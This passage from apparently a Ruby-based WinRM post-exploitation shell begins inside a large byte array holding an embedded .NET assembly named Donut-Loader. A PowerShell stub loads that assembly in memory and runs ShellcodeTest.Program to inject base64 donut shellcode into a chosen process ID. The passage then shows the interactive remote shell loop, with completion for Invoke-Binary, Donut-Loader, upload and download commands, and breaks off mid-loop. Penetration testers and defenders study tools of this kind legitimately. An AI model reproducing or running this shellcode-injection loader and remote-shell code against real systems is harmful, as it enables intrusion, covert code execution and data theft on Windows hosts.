0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 16, 0, 0, 0, 24, 0, 0, 128, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 48, 0, 0, 128, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 72, 0, 0, 0, 88, 64, 0, 0, 252, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 252, 2, 52, 0, 0, 0, 86, 0, 83, 0, 95, 0, 86, 0, 69, 0, 82, 0, 83, 0, 73, 0, 79, 0, 78, 0, 95, 0, 73, 0, 78, 0, 70, 0, 79, 0, 0, 0, 0, 0, 189, 4, 239, 254, 0, 0, 1, 0, 0, 0, 1, 0, 28, 80, 39, 28, 0, 0, 1, 0, 28, 80, 39, 28, 63, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 68, 0, 0, 0, 1, 0, 86, 0, 97, 0, 114, 0, 70, 0, 105, 0, 108, 0, 101, 0, 73, 0, 110, 0, 102, 0, 111, 0, 0, 0, 0, 0, 36, 0, 4, 0, 0, 0, 84, 0, 114, 0, 97, 0, 110, 0, 115, 0, 108, 0, 97, 0, 116, 0, 105, 0, 111, 0, 110, 0, 0, 0, 0, 0, 0, 0, 176, 4, 92, 2, 0, 0, 1, 0, 83, 0, 116, 0, 114, 0, 105, 0, 110, 0, 103, 0, 70, 0, 105, 0, 108, 0, 101, 0, 73, 0, 110, 0, 102, 0, 111, 0, 0, 0, 56, 2, 0, 0, 1, 0, 48, 0, 48, 0, 48, 0, 48, 0, 48, 0, 52, 0, 98, 0, 48, 0, 0, 0, 68, 0, 13, 0, 1, 0, 70, 0, 105, 0, 108, 0, 101, 0, 68, 0, 101, 0, 115, 0, 99, 0, 114, 0, 105, 0, 112, 0, 116, 0, 105, 0, 111, 0, 110, 0, 0, 0, 0, 0, 68, 0, 111, 0, 110, 0, 117, 0, 116, 0, 45, 0, 76, 0, 111, 0, 97, 0, 100, 0, 101, 0, 114, 0, 0, 0, 0, 0, 64, 0, 15, 0, 1, 0, 70, 0, 105, 0, 108, 0, 101, 0, 86, 0, 101, 0, 114, 0, 115, 0, 105, 0, 111, 0, 110, 0, 0, 0, 0, 0, 49, 0, 46, 0, 48, 0, 46, 0, 55, 0, 50, 0, 48, 0, 55, 0, 46, 0, 50, 0, 48, 0, 53, 0, 48, 0, 56, 0, 0, 0, 0, 0, 68, 0, 17, 0, 1, 0, 73, 0, 110, 0, 116, 0, 101, 0, 114, 0, 110, 0, 97, 0, 108, 0, 78, 0, 97, 0, 109, 0, 101, 0, 0, 0, 68, 0, 111, 0, 110, 0, 117, 0, 116, 0, 45, 0, 76, 0, 111, 0, 97, 0, 100, 0, 101, 0, 114, 0, 46, 0, 100, 0, 108, 0, 108, 0, 0, 0, 0, 0, 68, 0, 15, 0, 1, 0, 76, 0, 101, 0, 103, 0, 97, 0, 108, 0, 67, 0, 111, 0, 112, 0, 121, 0, 114, 0, 105, 0, 103, 0, 104, 0, 116, 0, 0, 0, 67, 0, 111, 0, 112, 0, 121, 0, 114, 0, 105, 0, 103, 0, 104, 0, 116, 0, 32, 0, 50, 0, 48, 0, 49, 0, 57, 0, 0, 0, 0, 0, 76, 0, 17, 0, 1, 0, 79, 0, 114, 0, 105, 0, 103, 0, 105, 0, 110, 0, 97, 0, 108, 0, 70, 0, 105, 0, 108, 0, 101, 0, 110, 0, 97, 0, 109, 0, 101, 0, 0, 0, 68, 0, 111, 0, 110, 0, 117, 0, 116, 0, 45, 0, 76, 0, 111, 0, 97, 0, 100, 0, 101, 0, 114, 0, 46, 0, 100, 0, 108, 0, 108, 0, 0, 0, 0, 0, 60, 0, 13, 0, 1, 0, 80, 0, 114, 0, 111, 0, 100, 0, 117, 0, 99, 0, 116, 0, 78, 0, 97, 0, 109, 0, 101, 0, 0, 0, 0, 0, 68, 0, 111, 0, 110, 0, 117, 0, 116, 0, 45, 0, 76, 0, 111, 0, 97, 0, 100, 0, 101, 0, 114, 0, 0, 0, 0, 0, 68, 0, 15, 0, 1, 0, 80, 0, 114, 0, 111, 0, 100, 0, 117, 0, 99, 0, 116, 0, 86, 0, 101, 0, 114, 0, 115, 0, 105, 0, 111, 0, 110, 0, 0, 0, 49, 0, 46, 0, 48, 0, 46, 0, 55, 0, 50, 0, 48, 0, 55, 0, 46, 0, 50, 0, 48, 0, 53, 0, 48, 0, 56, 0, 0, 0, 0, 0, 72, 0, 15, 0, 1, 0, 65, 0, 115, 0, 115, 0, 101, 0, 109, 0, 98, 0, 108, 0, 121, 0, 32, 0, 86, 0, 101, 0, 114, 0, 115, 0, 105, 0, 111, 0, 110, 0, 0, 0, 49, 0, 46, 0, 48, 0, 46, 0, 55, 0, 50, 0, 48, 0, 55, 0, 46, 0, 50, 0, 48, 0, 53, 0, 48, 0, 56, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
[System.Reflection.Assembly]::Load($bytes) | Out-Null
$base64 = $donutfile
[array]$array = $process_id,$Base64
[ShellcodeTest.Program]::Main($array)
}
}')
|
|
menu = get_menu
|
|
command = ''
|
|
|
|
begin
|
|
time = Time.now.to_i
|
|
print_message('Establishing connection to remote endpoint', TYPE_INFO)
|
|
$conn.shell(:powershell) do |shell|
|
|
begin
|
|
completion = proc do |str|
|
|
case
|
|
when Readline.line_buffer =~ /help.*/i
|
|
puts($LIST.join("\t").to_s)
|
|
when Readline.line_buffer =~ /Invoke-Binary.*/i
|
|
result = @executables.grep(/^#{Regexp.escape(str)}/i) || []
|
|
if result.empty?
|
|
paths = self.paths(str)
|
|
result.concat(paths.grep(/^#{Regexp.escape(str)}/i))
|
|
end
|
|
result.uniq
|
|
when Readline.line_buffer =~ /donutfile.*/i
|
|
paths = self.paths(str)
|
|
paths.grep(/^#{Regexp.escape(str)}/i)
|
|
when Readline.line_buffer =~ /Donut-Loader -process_id.*/i
|
|
$DONUTPARAM2.grep(/^#{Regexp.escape(str)}/i) unless str.nil?
|
|
when Readline.line_buffer =~ /Donut-Loader.*/i
|
|
$DONUTPARAM1.grep(/^#{Regexp.escape(str)}/i) unless str.nil?
|
|
when Readline.line_buffer =~ /^upload.*/i
|
|
test_s = Readline.line_buffer.gsub('\\ ', '\#\#\#\#')
|
|
if test_s.count(' ') < 2
|
|
self.paths(str) || []
|
|
else
|
|
complete_path(str, shell) || []
|
|
end
|
|
when Readline.line_buffer =~ /^download.*/i
|
|
test_s = Readline.line_buffer.gsub('\\ ', '\#\#\#\#')
|
|
if test_s.count(' ') < 2
|
|
complete_path(str, shell) || []
|
|
else
|
|
self.paths(str) || []
|
|
end
|
|
when (Readline.line_buffer.empty? || !(Readline.line_buffer.include?(' ') || Readline.line_buffer =~ %r{^"?(\./|\.\./|[a-z,A-Z]:/|~/|/)}))
|
|
result = $COMMANDS.grep(/^#{Regexp.escape(str)}/i) || []
|
|
result.concat(@functions.grep(/^#{Regexp.escape(str)}/i))
|
|
result.uniq
|
|
else
|
|
result = []
|
|
result.concat(complete_path(str, shell) || [])
|
|
result
|
|
end
|
|
end
|
|
|
|
Readline.completion_proc = completion
|
|
Readline.completion_append_character = ''
|
|
Readline.completion_case_fold = true
|
|
Readline.completer_quote_characters = '"'
|
|
|
|
# Configure Ctrl+L to clear screen
|
|
if Readline.respond_to?(:emacs_editing_mode)
|
|
Readline.emacs_editing_mode
|
|
end
|
|
|
|
# Set up Ctrl+L binding to clear screen
|
|
begin
|
|
if Readline.respond_to?(:bind_key)
|
|
Readline.bind_key("\C-l") do
|
|
clear_screen
|
|
Readline.refresh_line
|
|
nil
|
|
end
|
|
end
|
|
rescue => e
|
|
# If binding fails, Ctrl+L will work at terminal level
|
|
end
|
|
|
|
# Load history for this host/user
|
|
load_history
|
|
|
|
until command == 'exit' do
|
|
begin
|
|
pwd = shell.run('(get-location).path').output.strip
|
|
rescue => e
|
|
# Handle connection/timeout errors when getting pwd
|
|
error_msg = e.message.to_s.downcase
|
|
if error_msg.include?('timeout') || error_msg.include?('connection') ||
|
|
error_msg.include?('closed') || error_msg.include?('broken') ||
|
|
e.class.to_s.include?('Timeout') || e.class.to_s.include?('Connection')
|
|
puts
|
|
print_message("Connection timeout or error occurred: #{e.class} - #{e.message}", TYPE_ERROR, true, $logger)
|
|
